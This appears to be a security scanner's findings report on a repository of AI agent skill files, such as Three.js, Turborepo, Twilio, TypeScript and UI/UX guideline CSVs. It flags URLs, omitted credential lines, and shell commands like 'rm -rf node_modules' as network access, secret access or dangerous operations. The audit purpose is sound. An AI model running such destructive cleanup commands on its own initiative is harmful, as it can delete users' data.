skills/threejs-skills/SKILL.md
- Network accessline 2
name: threejs-skills description: "Create 3D scenes, interactive experiences, and visual effects using Three.js. Use when user requests 3D graphics, WebGL experiences, 3D visualizations, animations, or interactive 3D elements." source: http - Network accessline 3
description: "Create 3D scenes, interactive experiences, and visual effects using Three.js. Use when user requests 3D graphics, WebGL experiences, 3D visualizations, animations, or interactive 3D elements." source: https://github.com/CloudA - Network accessline 4
source: https://github.com/CloudAI-X/threejs-skills - Network accessline 28
import * as THREE from "https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js";
skills/tiktok-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/todoist-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/tool-design/SKILL.md
- Network accessline 2
name: tool-design description: "Build tools that agents can use effectively, including architectural reduction patterns" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design" - Network accessline 3
description: "Build tools that agents can use effectively, including architectural reduction patterns" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/tool-design"
skills/top-web-vulnerabilities/SKILL.md
- Access to secretsline 424
[Credential-related source omitted]
skills/trello-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/turborepo-caching/SKILL.md
- Network accessline 68
{ "$schema": "https://turbo.build/schema.json", - Network accessline 69
"$schema": "https://turbo.build/schema.json", - Access to secretsline 71
[Credential-related source omitted] - Network accessline 122
// apps/web/turbo.json { "$schema": "https://turbo.build/schema.json", - Network accessline 123
{ "$schema": "https://turbo.build/schema.json", "extends": ["//"], - Network accessline 124
"$schema": "https://turbo.build/schema.json", - Network accessline 267
[Credential-related source omitted] - Network accessline 268
[Credential-related source omitted] - Network accessline 302
{ "$schema": "https://turbo.build/schema.json", - Network accessline 303
"$schema": "https://turbo.build/schema.json", - Dangerous shell operationline 365
"clean": "turbo clean && rm -rf node_modules", - Network accessline 419
- [Turborepo Documentation](https://turbo.build/repo/docs) - Network accessline 420
- [Caching Guide](https://turbo.build/repo/docs/core-concepts/caching) - Network accessline 421
- [Remote Caching](https://turbo.build/repo/docs/core-concepts/remote-caching)
skills/twilio-communications/SKILL.md
- Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 139
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 274
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted]
skills/twitter-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/typescript-advanced-types/resources/implementation-playbook.md
skills/typescript-expert/SKILL.md
- Network accessline 81
- Use for: Critical domain primitives, API boundaries, currency/units - Resource: https://egghead.io/blog/using-branded-types-in-typescript - Network accessline 82
- Resource: https://egghead.io/blog/using-branded-types-in-typescript - Network accessline 104
// Use 'satisfies' for constraint validation (TS 5.0+) const config = { api: "https://api.example.com", - Network accessline 105
const config = { api: "https://api.example.com", timeout: 5000 - Network accessline 106
api: "https://api.example.com", - Network accessline 144
2. Use `ReturnType<typeof function>` helper 3. Break circular dependencies with type-only imports - Resource: https://github.com/microsoft/TypeScript/issues/47663 - Network accessline 146
- Resource: https://github.com/microsoft/TypeScript/issues/47663 - Network accessline 158
- For more details: [Declaration Files Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/introduction.html) - Dangerous shell operationline 180
4. Try clearing cache: `rm -rf node_modules/.cache .tsbuildinfo` - Network accessline 414
### Performance - [TypeScript Wiki Performance](https://github.com/microsoft/TypeScript/wiki/Performance) - Network accessline 415
- [TypeScript Wiki Performance](https://github.com/microsoft/TypeScript/wiki/Performance) - Network accessline 416
- [Type instantiation tracking](https://github.com/microsoft/TypeScript/pull/48077) - Network accessline 418
### Advanced Patterns - [Type Challenges](https://github.com/type-challenges/type-challenges) - Network accessline 419
- [Type Challenges](https://github.com/type-challenges/type-challenges) - Network accessline 420
- [Type-Level TypeScript Course](https://type-level-typescript.com) - Network accessline 422
### Tools - [Biome](https://biomejs.dev) - Fast linter/formatter - Network accessline 423
- [Biome](https://biomejs.dev) - Fast linter/formatter - Network accessline 424
- [TypeStat](https://github.com/JoshuaKGoldberg/TypeStat) - Auto-fix TypeScript types - Network accessline 425
- [ts-migrate](https://github.com/airbnb/ts-migrate) - Migration toolkit - Network accessline 427
### Testing - [Vitest Type Testing](https://vitest.dev/guide/testing-types) - Network accessline 428
- [Vitest Type Testing](https://vitest.dev/guide/testing-types) - Network accessline 429
- [tsd](https://github.com/tsdjs/tsd) - Standalone type testing
skills/typescript-expert/references/tsconfig-strict.json
skills/typescript-expert/references/typescript-cheatsheet.md
skills/typescript-expert/references/utility-types.ts
- Executable scriptline 1
Executable file
skills/typescript-expert/scripts/ts_diagnostic.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/ui-skills/SKILL.md
- Network accessline 2
name: ui-skills description: "Opinionated, evolving constraints to guide agents when building interfaces" source: "https://github.com/ibelick/ui-skills" - Network accessline 3
description: "Opinionated, evolving constraints to guide agents when building interfaces" source: "https://github.com/ibelick/ui-skills" risk: safe - Network accessline 4
source: "https://github.com/ibelick/ui-skills" - Network accessline 22
For more information, see the [source repository](https://github.com/ibelick/ui-skills).
skills/ui-ux-pro-max/SKILL.md
- Dangerous shell operationline 113
sudo apt update && sudo apt install python3
skills/ui-ux-pro-max/data/react-performance.csv
- Network accessline 1
No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity 1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused - Network accessline 2
1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused code paths,Move await operations into branches where they're needed,Await at top of function blocking - Network accessline 3
2,Async Waterfall,Promise.all Parallel,promise all parallel concurrent,React/Next.js,Execute independent async operations concurrently using Promise.all(),Use Promise.all() for independent operations,Sequential await for independent operati - Network accessline 4
3,Async Waterfall,Dependency Parallelization,better-all dependency parallel,React/Next.js,Use better-all for operations with partial dependencies to maximize parallelism,Use better-all to start each task at earliest possible moment,Wait for - Network accessline 15
14,Server,Parallel Fetching,parallel fetch component composition,React/Next.js,Restructure components to parallelize data fetching in RSC,Use component composition for parallel fetches,Sequential fetches in parent component,"<Header /><Side - Network accessline 16
15,Server,After Non-blocking,after non-blocking logging,React/Next.js,Use Next.js after() to schedule work after response is sent,Use after() for logging/analytics,Block response for non-critical operations,"after(async () => { await logAct - Network accessline 17
16,Client,SWR Deduplication,swr dedup cache revalidate,React/Next.js,Use SWR for automatic request deduplication and caching,Use useSWR for client data fetching,Manual fetch in useEffect,"const { data } = useSWR('/api/users', fetcher)","use
skills/ui-ux-pro-max/data/stacks/flutter.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends Sta - Network accessline 2
1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends StatelessWidget,class MyWidget extends StatefulWidget (static),Medium,https://api.f - Network accessline 3
2,Widgets,Keep widgets small,Single responsibility principle,Extract widgets into smaller pieces,Large build methods,Column(children: [Header() Content()]),500+ line build method,Medium, 3,Widgets,Use const constructors,Compile-time constan - Network accessline 4
3,Widgets,Use const constructors,Compile-time constants for performance,const MyWidget() when possible,Non-const for static widgets,const Text('Hello'),Text('Hello') for literals,High,https://dart.dev/guides/language/language-tour#constant- - Network accessline 5
4,Widgets,Prefer composition over inheritance,Combine widgets using children,Compose widgets,Extend widget classes,Container(child: MyContent()),class MyContainer extends Container,Medium, 5,State,Use setState correctly,Minimal state in Sta - Network accessline 6
5,State,Use setState correctly,Minimal state in StatefulWidget,setState for UI state changes,setState for business logic,setState(() { _counter++; }),Complex logic in setState,Medium,https://api.flutter.dev/flutter/widgets/State/setState.ht - Network accessline 7
6,State,Avoid setState in build,Never call setState during build,setState in callbacks only,setState in build method,onPressed: () => setState(() {}),build() { setState(); },High, 7,State,Use state management for complex apps,Provider River - Network accessline 8
7,State,Use state management for complex apps,Provider Riverpod BLoC,State management for shared state,setState for global state,Provider.of<MyState>(context),Global setState calls,Medium, 8,State,Prefer Riverpod or Provider,Recommended sta - Network accessline 9
8,State,Prefer Riverpod or Provider,Recommended state solutions,Riverpod for new projects,InheritedWidget manually,ref.watch(myProvider),Custom InheritedWidget,Medium,https://riverpod.dev/ - Network accessline 10
9,State,Dispose resources,Clean up controllers and subscriptions,dispose() for cleanup,Memory leaks from subscriptions,@override void dispose() { controller.dispose(); },No dispose implementation,High, 10,Layout,Use Column and Row,Basic lay - Network accessline 11
10,Layout,Use Column and Row,Basic layout widgets,Column Row for linear layouts,Stack for simple layouts,"Column(children: [Text(), Button()])",Stack for vertical list,Medium,https://api.flutter.dev/flutter/widgets/Column-class.html - Network accessline 12
11,Layout,Use Expanded and Flexible,Control flex behavior,Expanded to fill space,Fixed sizes in flex containers,Expanded(child: Container()),Container(width: 200) in Row,Medium, 12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox - Network accessline 13
12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox for gaps,Container for spacing only,SizedBox(height: 16),Container(height: 16),Low, 13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive - Network accessline 14
13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive layouts,Fixed sizes for responsive,LayoutBuilder(builder: (context constraints) {}),Container(width: 375),Medium,https://api.flutter.dev/flutter/wi - Network accessline 15
14,Layout,Avoid deep nesting,Keep widget tree shallow,Extract deeply nested widgets,10+ levels of nesting,Extract widget to method or class,Column(Row(Column(Row(...)))),Medium, 15,Lists,Use ListView.builder,Lazy list building,ListView.buil - Network accessline 16
15,Lists,Use ListView.builder,Lazy list building,ListView.builder for long lists,ListView with children for large lists,"ListView.builder(itemCount: 100, itemBuilder: ...)",ListView(children: items.map(...).toList()),High,https://api.flutte - Network accessline 17
16,Lists,Provide itemExtent when known,Skip measurement,itemExtent for fixed height items,No itemExtent for uniform lists,ListView.builder(itemExtent: 50),ListView.builder without itemExtent,Medium, 17,Lists,Use keys for stateful items,Pres - Network accessline 18
17,Lists,Use keys for stateful items,Preserve widget state,Key for stateful list items,No key for dynamic lists,ListTile(key: ValueKey(item.id)),ListTile without key,High, 18,Lists,Use SliverList for custom scroll,Custom scroll effects,Cust - Network accessline 19
18,Lists,Use SliverList for custom scroll,Custom scroll effects,CustomScrollView with Slivers,Nested ListViews,CustomScrollView(slivers: [SliverList()]),ListView inside ListView,Medium,https://api.flutter.dev/flutter/widgets/SliverList-clas - Network accessline 20
19,Navigation,Use Navigator 2.0 or GoRouter,Declarative routing,go_router for navigation,Navigator.push for complex apps,GoRouter(routes: [...]),Navigator.push everywhere,Medium,https://pub.dev/packages/go_router - Network accessline 21
20,Navigation,Use named routes,Organized navigation,Named routes for clarity,Anonymous routes,Navigator.pushNamed(context '/home'),Navigator.push(context MaterialPageRoute()),Low, 21,Navigation,Handle back button (PopScope),Android back beh - Network accessline 22
21,Navigation,Handle back button (PopScope),Android back behavior and predictive back (Android 14+),Use PopScope widget (WillPopScope is deprecated),Use WillPopScope,"PopScope(canPop: false, onPopInvoked: (didPop) => ...)",WillPopScope(onWi - Network accessline 23
22,Navigation,Pass typed arguments,Type-safe route arguments,Typed route arguments,Dynamic arguments,MyRoute(id: '123'),arguments: {'id': '123'},Medium, 23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for - Network accessline 24
23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for async,FutureBuilder(future: fetchData()),fetchData().then((d) => setState()),Medium,https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html - Network accessline 25
24,Async,Use StreamBuilder,Stream UI building,StreamBuilder for streams,Manual stream subscription,StreamBuilder(stream: myStream),stream.listen in initState,Medium,https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html - Network accessline 26
25,Async,Handle loading and error states,Complete async UI states,ConnectionState checks,Only success state,if (snapshot.connectionState == ConnectionState.waiting),No loading indicator,High, 26,Async,Cancel subscriptions,Clean up stream su - Network accessline 27
26,Async,Cancel subscriptions,Clean up stream subscriptions,Cancel in dispose,Memory leaks,subscription.cancel() in dispose,No subscription cleanup,High, 27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,T - Network accessline 28
27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,Theme.of(context).primaryColor,Color(0xFF123456) everywhere,Medium,https://api.flutter.dev/flutter/material/ThemeData-class.html - Network accessline 30
29,Theming,Access theme via context,Dynamic theme access,Theme.of(context),Static theme reference,Theme.of(context).textTheme.bodyLarge,TextStyle(fontSize: 16),Medium, 30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialA - Network accessline 31
30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialApp,Light theme only,"MaterialApp(theme: light, darkTheme: dark)",MaterialApp(theme: light),Medium, 31,Animation,Use implicit animations,Simple animations,AnimatedContai - Network accessline 32
31,Animation,Use implicit animations,Simple animations,AnimatedContainer AnimatedOpacity,Explicit for simple transitions,AnimatedContainer(duration: Duration()),AnimationController for fade,Low,https://api.flutter.dev/flutter/widgets/Animat - Network accessline 33
32,Animation,Use AnimationController for complex,Fine-grained control,AnimationController with Ticker,Implicit for complex sequences,AnimationController(vsync: this),AnimatedContainer for staggered,Medium, 33,Animation,Dispose AnimationCont - Network accessline 34
33,Animation,Dispose AnimationControllers,Clean up animation resources,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High, 34,Animation,Use Hero for transitions,Shared element transitions,Hero - Network accessline 35
34,Animation,Use Hero for transitions,Shared element transitions,Hero for navigation animations,Manual shared element,Hero(tag: 'image' child: Image()),Custom shared element animation,Low,https://api.flutter.dev/flutter/widgets/Hero-class.h - Network accessline 36
35,Forms,Use Form widget,Form validation,Form with GlobalKey,Individual validation,Form(key: _formKey child: ...),TextField without Form,Medium,https://api.flutter.dev/flutter/widgets/Form-class.html - Network accessline 40
39,Performance,Use const widgets,Reduce rebuilds,const for static widgets,No const for literals,const Icon(Icons.add),Icon(Icons.add),High, 40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState - Network accessline 41
40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState on parent,Consumer only around changing widget,setState on root widget,High, 41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoun - Network accessline 42
41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoundary for animations,Full screen repaints,RepaintBoundary(child: AnimatedWidget()),Animation without boundary,Medium,https://api.flutter.dev/flutter/widgets/RepaintBoundary-class - Network accessline 43
42,Performance,Profile with DevTools,Measure before optimizing,Flutter DevTools profiling,Guess at performance,DevTools performance tab,Optimize without measuring,Medium,https://docs.flutter.dev/tools/devtools - Network accessline 44
43,Accessibility,Use Semantics widget,Screen reader support,Semantics for accessibility,Missing accessibility info,Semantics(label: 'Submit button'),GestureDetector without semantics,High,https://api.flutter.dev/flutter/widgets/Semantics-cl - Network accessline 45
44,Accessibility,Support large fonts,MediaQuery text scaling,MediaQuery.textScaleFactor,Fixed font sizes,style: Theme.of(context).textTheme,TextStyle(fontSize: 14),High, 45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test - Network accessline 46
45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test accessibility regularly,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High, 46,Testing,Use widget tests,Test widget behavior,WidgetTester f - Network accessline 47
46,Testing,Use widget tests,Test widget behavior,WidgetTester for UI tests,Unit tests only,testWidgets('...' (tester) async {}),Only test() for UI,Medium,https://docs.flutter.dev/testing - Network accessline 50
49,Platform,Use Platform checks,Platform-specific code,Platform.isIOS Platform.isAndroid,Same code for all platforms,if (Platform.isIOS) {},Hardcoded iOS behavior,Medium, 50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web - Network accessline 51
50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web checks,Platform for web,if (kIsWeb) {},Platform.isWeb (doesn't exist),Medium, 51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implem - Network accessline 52
51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implementations,cached_network_image,Custom image cache,Medium,https://pub.dev/
skills/ui-ux-pro-max/data/stacks/html-tailwind.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyf - Network accessline 2
1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyframes for simple effects,animate-pulse,@keyframes pulse {...},Medium,https://tai - Network accessline 3
2,Animation,Limit bounce animations,Continuous bounce is distracting and causes motion sickness,Use animate-bounce sparingly on CTAs only,Multiple bounce animations on page,Single CTA with animate-bounce,5+ elements with animate-bounce,High - Network accessline 4
3,Animation,Transition duration,Use appropriate transition speeds for UI feedback,duration-150 to duration-300 for UI,duration-1000 or longer for UI elements,transition-all duration-200,transition-all duration-1000,Medium,https://tailwindcs - Network accessline 5
4,Animation,Hover transitions,Add smooth transitions on hover state changes,Add transition class with hover states,Instant hover changes without transition,hover:bg-gray-100 transition-colors,hover:bg-gray-100 (no transition),Low, 5,Z-Index - Network accessline 6
5,Z-Index,Use Tailwind z-* scale,Consistent stacking context with predefined scale,z-0 z-10 z-20 z-30 z-40 z-50,Arbitrary z-index values,z-50 for modals,z-[9999],Medium,https://tailwindcss.com/docs/z-index - Network accessline 7
6,Z-Index,Fixed elements z-index,Fixed navigation and modals need explicit z-index,z-50 for nav z-40 for dropdowns,Relying on DOM order for stacking,fixed top-0 z-50,fixed top-0 (no z-index),High, 7,Z-Index,Negative z-index for backgrounds, - Network accessline 8
7,Z-Index,Negative z-index for backgrounds,Use negative z-index for decorative backgrounds,z-[-1] for background elements,Positive z-index for backgrounds,-z-10 for decorative,z-10 for background,Low, 8,Layout,Container max-width,Limit cont - Network accessline 9
8,Layout,Container max-width,Limit content width for readability,max-w-7xl mx-auto for main content,Full-width content on large screens,max-w-7xl mx-auto px-4,w-full (no max-width),Medium,https://tailwindcss.com/docs/container - Network accessline 10
9,Layout,Responsive padding,Adjust padding for different screen sizes,px-4 md:px-6 lg:px-8,Same padding all sizes,px-4 sm:px-6 lg:px-8,px-8 (same all sizes),Medium, 10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 ga - Network accessline 11
10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 gap-8,Margins on individual items,grid gap-6,grid with mb-4 on each item,Medium,https://tailwindcss.com/docs/gap - Network accessline 12
11,Layout,Flexbox alignment,Use flex utilities for alignment,items-center justify-between,Multiple nested wrappers,flex items-center justify-between,Nested divs for alignment,Low, 12,Images,Aspect ratio,Maintain consistent image aspect rati - Network accessline 13
12,Images,Aspect ratio,Maintain consistent image aspect ratios,aspect-video aspect-square,No aspect ratio on containers,aspect-video rounded-lg,No aspect control,Medium,https://tailwindcss.com/docs/aspect-ratio - Network accessline 14
13,Images,Object fit,Control image scaling within containers,object-cover object-contain,Stretched distorted images,object-cover w-full h-full,No object-fit,Medium,https://tailwindcss.com/docs/object-fit - Network accessline 15
14,Images,Lazy loading,Defer loading of off-screen images,loading='lazy' on images,All images eager load,<img loading='lazy'>,<img> without lazy,High, 15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Sam - Network accessline 16
15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Same large image all devices,srcset with multiple sizes,4000px image everywhere,High, 16,Typography,Prose plugin,Use @tailwindcss/typography for rich text - Network accessline 17
16,Typography,Prose plugin,Use @tailwindcss/typography for rich text,prose prose-lg for article content,Custom styles for markdown,prose prose-lg max-w-none,Custom text styling,Medium,https://tailwindcss.com/docs/typography-plugin - Network accessline 18
17,Typography,Line height,Use appropriate line height for readability,leading-relaxed for body text,Default tight line height,leading-relaxed (1.625),leading-none or leading-tight,Medium,https://tailwindcss.com/docs/line-height - Network accessline 19
18,Typography,Font size scale,Use consistent text size scale,text-sm text-base text-lg text-xl,Arbitrary font sizes,text-lg,text-[17px],Low,https://tailwindcss.com/docs/font-size - Network accessline 20
19,Typography,Text truncation,Handle long text gracefully,truncate or line-clamp-*,Overflow breaking layout,line-clamp-2,No overflow handling,Medium,https://tailwindcss.com/docs/text-overflow - Network accessline 21
20,Colors,Opacity utilities,Use color opacity utilities,bg-black/50 text-white/80,Separate opacity class,bg-black/50,bg-black opacity-50,Low,https://tailwindcss.com/docs/background-color - Network accessline 22
21,Colors,Dark mode,Support dark mode with dark: prefix,dark:bg-gray-900 dark:text-white,No dark mode support,dark:bg-gray-900,Only light theme,Medium,https://tailwindcss.com/docs/dark-mode - Network accessline 23
22,Colors,Semantic colors,Use semantic color naming in config,primary secondary danger success,Generic color names in components,bg-primary,bg-blue-500 everywhere,Medium, 23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consis - Network accessline 24
23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consistently,p-4 m-6 gap-8,Arbitrary pixel values,p-4 (1rem),p-[15px],Low,https://tailwindcss.com/docs/customizing-spacing - Network accessline 25
24,Spacing,Negative margins,Use sparingly for overlapping effects,-mt-4 for overlapping elements,Negative margins for layout fixing,-mt-8 for card overlap,-m-2 to fix spacing issues,Medium, 25,Spacing,Space between,Use space-y-* for vertica - Network accessline 26
25,Spacing,Space between,Use space-y-* for vertical lists,space-y-4 on flex/grid column,Margin on each child,space-y-4,Each child has mb-4,Low,https://tailwindcss.com/docs/space - Network accessline 29
28,Forms,Disabled states,Clear disabled styling,disabled:opacity-50 disabled:cursor-not-allowed,No disabled indication,disabled:opacity-50,Same style as enabled,Medium, 29,Forms,Placeholder styling,Style placeholder text appropriately,place - Network accessline 30
29,Forms,Placeholder styling,Style placeholder text appropriately,placeholder:text-gray-400,Dark placeholder text,placeholder:text-gray-400,Default dark placeholder,Low, 30,Responsive,Mobile-first approach,Start with mobile styles and add b - Network accessline 31
30,Responsive,Mobile-first approach,Start with mobile styles and add breakpoints,Default mobile + md: lg: xl:,Desktop-first approach,text-sm md:text-base,text-base max-md:text-sm,Medium,https://tailwindcss.com/docs/responsive-design - Network accessline 32
31,Responsive,Breakpoint testing,Test at standard breakpoints,320 375 768 1024 1280 1536,Only test on development device,Test all breakpoints,Single device testing,High, 32,Responsive,Hidden/shown utilities,Control visibility per breakpoint - Network accessline 33
32,Responsive,Hidden/shown utilities,Control visibility per breakpoint,hidden md:block,Different content per breakpoint,hidden md:flex,Separate mobile/desktop components,Low,https://tailwindcss.com/docs/display - Network accessline 39
38,Cards,Card hover states,Interactive cards should have hover feedback,hover:shadow-lg transition-shadow,No hover on clickable cards,hover:shadow-xl transition-shadow,Static cards that are clickable,Medium, 39,Cards,Card spacing,Consistent - Network accessline 40
39,Cards,Card spacing,Consistent internal card spacing,space-y-4 for card content,Inconsistent internal spacing,space-y-4 or p-6,Mixed mb-2 mb-4 mb-6,Low, 40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hi - Network accessline 41
40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hidden labels,Missing context for icons,<span class='sr-only'>Close menu</span>,No label for icon button,High,https://tailwindcss.com/docs/screen-readers - Network accessline 42
41,Accessibility,Focus visible,Show focus only for keyboard users,focus-visible:ring-2,Focus on all interactions,focus-visible:ring-2,focus:ring-2 (shows on click too),Medium, 42,Accessibility,Reduced motion,Respect user motion preferences, - Network accessline 43
42,Accessibility,Reduced motion,Respect user motion preferences,motion-reduce:animate-none,Ignore motion preferences,motion-reduce:transition-none,No reduced motion support,High,https://tailwindcss.com/docs/hover-focus-and-other-states#pref - Network accessline 44
43,Performance,Configure content paths,Tailwind needs to know where classes are used,Use 'content' array in config,Use deprecated 'purge' option (v2),"content: ['./src/**/*.{js,ts,jsx,tsx}']",purge: [...],High,https://tailwindcss.com/docs/c - Network accessline 45
44,Performance,JIT mode,Use JIT for faster builds and smaller bundles,JIT enabled (default in v3),Full CSS in development,Tailwind v3 defaults,Tailwind v2 without JIT,Medium, 45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct uti - Network accessline 46
45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct utilities in HTML,Heavy @apply usage,class='px-4 py-2 rounded',@apply px-4 py-2 rounded;,Low,https://tailwindcss.com/docs/reusing-styles - Network accessline 47
46,Plugins,Official plugins,Use official Tailwind plugins,@tailwindcss/forms typography aspect-ratio,Custom implementations,@tailwindcss/forms,Custom form reset CSS,Medium,https://tailwindcss.com/docs/plugins - Network accessline 48
47,Plugins,Custom utilities,Create utilities for repeated patterns,Custom utility in config,Repeated arbitrary values,Custom shadow utility,"shadow-[0_4px_20px_rgba(0,0,0,0.1)] everywhere",Medium, 48,Layout,Container Queries,Use @container - Network accessline 49
48,Layout,Container Queries,Use @container for component-based responsiveness,Use @container and @lg: etc.,Media queries for component internals,@container @lg:grid-cols-2,@media (min-width: ...) inside component,Medium,https://github.com/t - Network accessline 50
49,Interactivity,Group and Peer,Style based on parent/sibling state,group-hover peer-checked,JS for simple state interactions,group-hover:text-blue-500,onMouseEnter={() => setHover(true)},Low,https://tailwindcss.com/docs/hover-focus-and-oth - Network accessline 51
50,Customization,Arbitrary Values,Use [] for one-off values,w-[350px] for specific needs,Creating config for single use,top-[117px] (if strictly needed),style={{ top: '117px' }},Low,https://tailwindcss.com/docs/adding-custom-styles#using-ar - Network accessline 52
51,Colors,Theme color variables,Define colors in Tailwind theme and use directly,bg-primary text-success border-cta,bg-[var(--color-primary)] text-[var(--color-success)],bg-primary,bg-[var(--color-primary)],Medium,https://tailwindcss.com/do - Network accessline 53
52,Colors,Use bg-linear-to-* for gradients,Tailwind v4 uses bg-linear-to-* syntax for gradients,bg-linear-to-r bg-linear-to-b,bg-gradient-to-* (deprecated in v4),bg-linear-to-r from-blue-500 to-purple-500,bg-gradient-to-r from-blue-500 to-p - Network accessline 54
53,Layout,Use shrink-0 shorthand,Shorter class name for flex-shrink-0,shrink-0 shrink,flex-shrink-0 flex-shrink,shrink-0,flex-shrink-0,Low,https://tailwindcss.com/docs/flex-shrink - Network accessline 55
54,Layout,Use size-* for square dimensions,Single utility for equal width and height,size-4 size-8 size-12,Separate h-* w-* for squares,size-6,h-6 w-6,Low,https://tailwindcss.com/docs/size
skills/ui-ux-pro-max/data/stacks/nextjs.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboa - Network accessline 2
1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboard/page.tsx,pages/dashboard.tsx,Medium,https://nextjs.org/docs/app - Network accessline 3
2,Routing,Use file-based routing,Create routes by adding files in app directory,page.tsx for routes layout.tsx for layouts,Manual route configuration,app/blog/[slug]/page.tsx,Custom router setup,Medium,https://nextjs.org/docs/app/building-y - Network accessline 4
3,Routing,Colocate related files,Keep components styles tests with their routes,Component files alongside page.tsx,Separate components folder,app/dashboard/_components/,components/dashboard/,Low, 4,Routing,Use route groups for organization, - Network accessline 5
4,Routing,Use route groups for organization,Group routes without affecting URL,Parentheses for route groups,Nested folders affecting URL,(marketing)/about/page.tsx,marketing/about/page.tsx,Low,https://nextjs.org/docs/app/building-your-appli - Network accessline 6
5,Routing,Handle loading states,Use loading.tsx for route loading UI,loading.tsx alongside page.tsx,Manual loading state management,app/dashboard/loading.tsx,useState for loading in page,Medium,https://nextjs.org/docs/app/building-your-appl - Network accessline 7
6,Routing,Handle errors with error.tsx,Catch errors at route level,error.tsx with reset function,try/catch in every component,app/dashboard/error.tsx,try/catch in page component,High,https://nextjs.org/docs/app/building-your-application/rou - Network accessline 8
7,Rendering,Use Server Components by default,Server Components reduce client JS bundle,Keep components server by default,Add 'use client' unnecessarily,export default function Page(),('use client') for static content,High,https://nextjs.org - Network accessline 9
8,Rendering,Mark Client Components explicitly,'use client' for interactive components,Add 'use client' only when needed,Server Component with hooks/events,('use client') for onClick useState,No directive with useState,High,https://nextjs.or - Network accessline 10
9,Rendering,Push Client Components down,Keep Client Components as leaf nodes,Client wrapper for interactive parts only,Mark page as Client Component,<InteractiveButton/> in Server Page,('use client') on page.tsx,High, 10,Rendering,Use strea - Network accessline 11
10,Rendering,Use streaming for better UX,Stream content with Suspense boundaries,Suspense for slow data fetches,Wait for all data before render,<Suspense><SlowComponent/></Suspense>,await allData then render,Medium,https://nextjs.org/docs/a - Network accessline 12
